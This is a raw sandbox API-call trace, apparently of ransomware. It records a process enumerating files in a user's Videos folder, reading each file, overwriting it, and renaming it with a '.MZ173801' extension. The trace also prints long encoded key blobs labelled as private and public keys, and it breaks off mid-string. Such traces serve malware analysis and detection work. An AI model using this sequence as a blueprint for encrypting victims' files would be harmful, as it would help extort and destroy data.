ftLastAccessTime.dwLowDateTime=0xe8db7a50, ftLastAccessTime.dwHighDateTime=0x1d5e270, ftLastWriteTime.dwLowDateTime=0xe8db7a50, ftLastWriteTime.dwHighDateTime=0x1d5e270, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName=".", cAlternateFileName="")) returned 0xa1b7a8 [0166.569] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9472f5e0, ftCreationTime.dwHighDateTime=0x1d5eb0a, ftLastAccessTime.dwLowDateTime=0xe8db7a50, ftLastAccessTime.dwHighDateTime=0x1d5e270, ftLastWriteTime.dwLowDateTime=0xe8db7a50, ftLastWriteTime.dwHighDateTime=0x1d5e270, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="..", cAlternateFileName="")) returned 1 [0166.570] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e543d10, ftCreationTime.dwHighDateTime=0x1d5ecc6, ftLastAccessTime.dwLowDateTime=0x9f61850, ftLastAccessTime.dwHighDateTime=0x1d5e931, ftLastWriteTime.dwLowDateTime=0x9f61850, ftLastWriteTime.dwHighDateTime=0x1d5e931, nFileSizeHigh=0x0, nFileSizeLow=0xc598, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="4DOO7h9IdbHgOJ L.flv", cAlternateFileName="4DOO7H~1.FLV")) returned 1 [0166.570] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f530 | out: lpLocalFileTime=0x19f530) returned 1 [0166.570] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\4doo7h9idbhgoj l.flv"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e543d10, ftCreationTime.dwHighDateTime=0x1d5ecc6, ftLastAccessTime.dwLowDateTime=0x9f61850, ftLastAccessTime.dwHighDateTime=0x1d5e931, ftLastWriteTime.dwLowDateTime=0x9f61850, ftLastWriteTime.dwHighDateTime=0x1d5e931, nFileSizeHigh=0x0, nFileSizeLow=0xc598)) returned 1 [0166.570] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\4doo7h9idbhgoj l.flv")) returned 0x20 [0166.570] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv", dwFileAttributes=0x80) returned 1 [0166.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.572] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.573] GetCurrentThreadId () returned 0xab4 [0166.573] GetCurrentThreadId () returned 0xab4 [0166.573] GetCurrentThreadId () returned 0xab4 [0166.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.574] GetCurrentThreadId () returned 0xab4 [0166.574] GetCurrentThreadId () returned 0xab4 [0166.574] GetCurrentThreadId () returned 0xab4 [0166.574] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\4doo7h9idbhgoj l.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xc598 [0166.574] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.574] ReadFile (in: hFile=0x27c, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0xc598, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f480*=0xc598, lpOverlapped=0x0) returned 1 [0166.575] CloseHandle (hObject=0x27c) returned 1 [0166.576] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\4doo7h9idbhgoj l.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.577] WriteFile (in: hFile=0x27c, lpBuffer=0x24b5e70*, nNumberOfBytesToWrite=0xc598, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b5e70*, lpNumberOfBytesWritten=0x19f48c*=0xc598, lpOverlapped=0x0) returned 1 [0166.579] CloseHandle (hObject=0x27c) returned 1 [0166.584] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\4doo7h9idbhgoj l.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\4DOO7h9IdbHgOJ L.flv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\4doo7h9idbhgoj l.flv.mz173801")) returned 1 [0166.585] GetCurrentThreadId () returned 0xab4 [0166.585] GetCurrentThreadId () returned 0xab4 [0166.585] GetCurrentThreadId () returned 0xab4 [0166.585] GetCurrentThreadId () returned 0xab4 [0166.585] GetCurrentThreadId () returned 0xab4 [0166.585] GetCurrentThreadId () returned 0xab4 [0166.585] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9848d420, ftCreationTime.dwHighDateTime=0x1d5e356, ftLastAccessTime.dwLowDateTime=0xf6a95920, ftLastAccessTime.dwHighDateTime=0x1d5e6aa, ftLastWriteTime.dwLowDateTime=0xf6a95920, ftLastWriteTime.dwHighDateTime=0x1d5e6aa, nFileSizeHigh=0x0, nFileSizeLow=0x13ed7, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="5uhOhbIjv9JmUgM6ZS_E.swf", cAlternateFileName="5UHOHB~1.SWF")) returned 1 [0166.585] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.585] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.585] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\5uhohbijv9jmugm6zs_e.swf"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9848d420, ftCreationTime.dwHighDateTime=0x1d5e356, ftLastAccessTime.dwLowDateTime=0xf6a95920, ftLastAccessTime.dwHighDateTime=0x1d5e6aa, ftLastWriteTime.dwLowDateTime=0xf6a95920, ftLastWriteTime.dwHighDateTime=0x1d5e6aa, nFileSizeHigh=0x0, nFileSizeLow=0x13ed7)) returned 1 [0166.585] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\5uhohbijv9jmugm6zs_e.swf")) returned 0x20 [0166.585] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\5uhOhbIjv9JmUgM6ZS_E.swf", dwFileAttributes=0x80) returned 1 [0166.587] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7j